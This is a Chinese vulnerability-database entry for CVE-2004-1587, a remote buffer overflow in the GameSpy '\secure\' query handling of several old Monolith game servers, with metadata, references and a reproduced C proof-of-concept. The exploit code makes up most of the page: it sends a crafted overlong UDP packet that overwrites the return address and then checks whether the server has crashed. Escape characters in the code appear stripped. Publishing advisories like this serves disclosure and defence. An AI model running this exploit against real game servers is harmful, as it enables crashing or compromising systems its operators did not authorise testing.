Monolith Games secure命令远程缓冲区溢出漏洞

Monolith Games secure命令远程缓冲区溢出漏洞

漏洞ID 1108214 漏洞类型 边界条件错误
发布时间 2004-10-10 更新时间 2005-10-20
图片[1]-Monolith Games secure命令远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-1587
图片[2]-Monolith Games secure命令远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200412-149
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/571
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-149
|漏洞详情
Monolith是多个在线游戏的引擎。多个Monolith游戏对secure命令处理不正确,远程攻击者可以利用这个漏洞对游戏服务程序进行缓冲区溢出攻击,可能以进程权限在系统上执行任意指令。攻击者只要发送secureGameSpy查询,并在后面追加68或更多字符,就会发生缓冲区溢出,精心构建提交请求,可导致以进程权限在系统上执行任意指令。
|漏洞EXP
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <net/inet.h>
    #include <netdb.h>
#endif



#define VER     "0.1.1"
#define PORT    27888
#define TIMEOUT 3
#define BUFFSZ  2048
#define PCK     "\secure\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "x55x44x33x22"
                /* return address, each byte must be >= 0x20 and <= 0x7f */



void gs_info_udp(u_long ip, u_short port);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    int     sd;
    u_short port = PORT;
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("n"
        "\secure\ buffer overflow in some old Monolith games "VER"n"
        "by Luigi Auriemman"
        "e-mail: [email protected]"
        "web:    http://aluigi.altervista.orgn"
        "n", stdout);

    if(argc < 2) {
        printf("n"
            "Usage: %s <server> [port(%d)]n"
            "n"
            "Vulnerable games            Latest versionsn"
            "  Alien versus predator 2   1.0.9.6n"
            "  Blood 2                   2.1n"
            "  No one lives forever      1.004n"
            "  Shogo                     2.2n"
            "n"
            "Note: the return address will be overwritten by 0x%08lxn"
            "      (only the bytes from 0x20 to 0x7f are allowed)n"
            "n", argv[0], port, *(u_long *)(PCK + 72));
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target is %s:%hunn",
        inet_ntoa(peer.sin_addr), port);

    fputs("- Request informations:n", stdout);
    gs_info_udp(peer.sin_addr.s_addr, port);

    fputs("- Send BOOM packet:n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    close(sd);

    fputs("- Check server:n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(sendto(sd, "\status\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("nServer IS vulnerable!!!nn", stdout);
    } else {
        fputs("nServer doesn't seem vulnerablenn", stdout);
    }

    close(sd);
    return(0);
}



void gs_info_udp(u_long ip, u_short port) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            nt = 1;
    u_char  buff[2048],
            *p1,
            *p2;

    peer.sin_addr.s_addr = ip;
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(sendto(sd, "\status\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    if(timeout(sd) < 0) {
        fputs("nError: socket timeout, no replies received. Probably the server doesn't support the Gamespy query protocol or the port is wrongnn", stdout);
        close(sd);
        exit(1);
    }

    len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
    if(len < 0) std_err();

    buff[len] = 0x00;
    p1 = buff;
    while((p2 = strchr(p1, '\'))) {
        *p2 = 0x00;

        if(!nt) {
            if(!*p1) break;
            printf("%30s: ", p1);
            nt++;
        } else {
            printf("%sn", p1);
            nt = 0;
        }
        p1 = p2 + 1;
    }
    printf("%snn", p1);
    close(sd);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolv hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif

// milw0rm.com [2004-10-10]
|参考资料

来源:BID
名称:11354
链接:http://www.securityfocus.com/bid/11354
来源:BUGTRAQ
名称:20041008Limitedsecurebuffer-overflowinsomeoldMonolithgames
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=109728194025487&w;=2
来源:XF
名称:shogo-long-query-bo(17670)
链接:http://xforce.iss.net/xforce/xfdb/17670
来源:XF
名称:blood2-long-query-bo(17668)
链接:http://xforce.iss.net/xforce/xfdb/17668
来源:SECUNIA
名称:12776
链接:http://secunia.com/advisories/12776/
来源:XF
名称:nolf-long-query-bo(17669)
链接:http://xforce.iss.net/xforce/xfdb/17669
来源:XF
名称:avp2-long-query-bo(17665)
链接:http://xforce.iss.net/xforce/xfdb/17665
来源:OSVDB
名称:10635
链接:http://www.osvdb.org/displayvuln.php?osvdb_id=10635
来源:SECTRACK
名称:1011603
链接:http://securitytracker.com/alerts/2004/Oct/1011603.html
来源:FULLDISC
名称:20041008Limitedsecurebuffer-overflowinsomeoldMonolithgames
链接:http://marc.theaimsgroup.com/?l=full-disclosure&m;=109727077824860&w;=2
来源:NSFOCUS
名称:6993
链接:http://www.nsfocus.net/vulndb/6993

相关推荐: 3Com硬件密码猜测

3Com硬件密码猜测 漏洞ID 1106428 漏洞类型 未知 发布时间 2001-07-12 更新时间 2005-05-02 CVE编号 CVE-2001-1291 CNNVD-ID CNNVD-200107-081 漏洞平台 Hardware CVSS评分…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享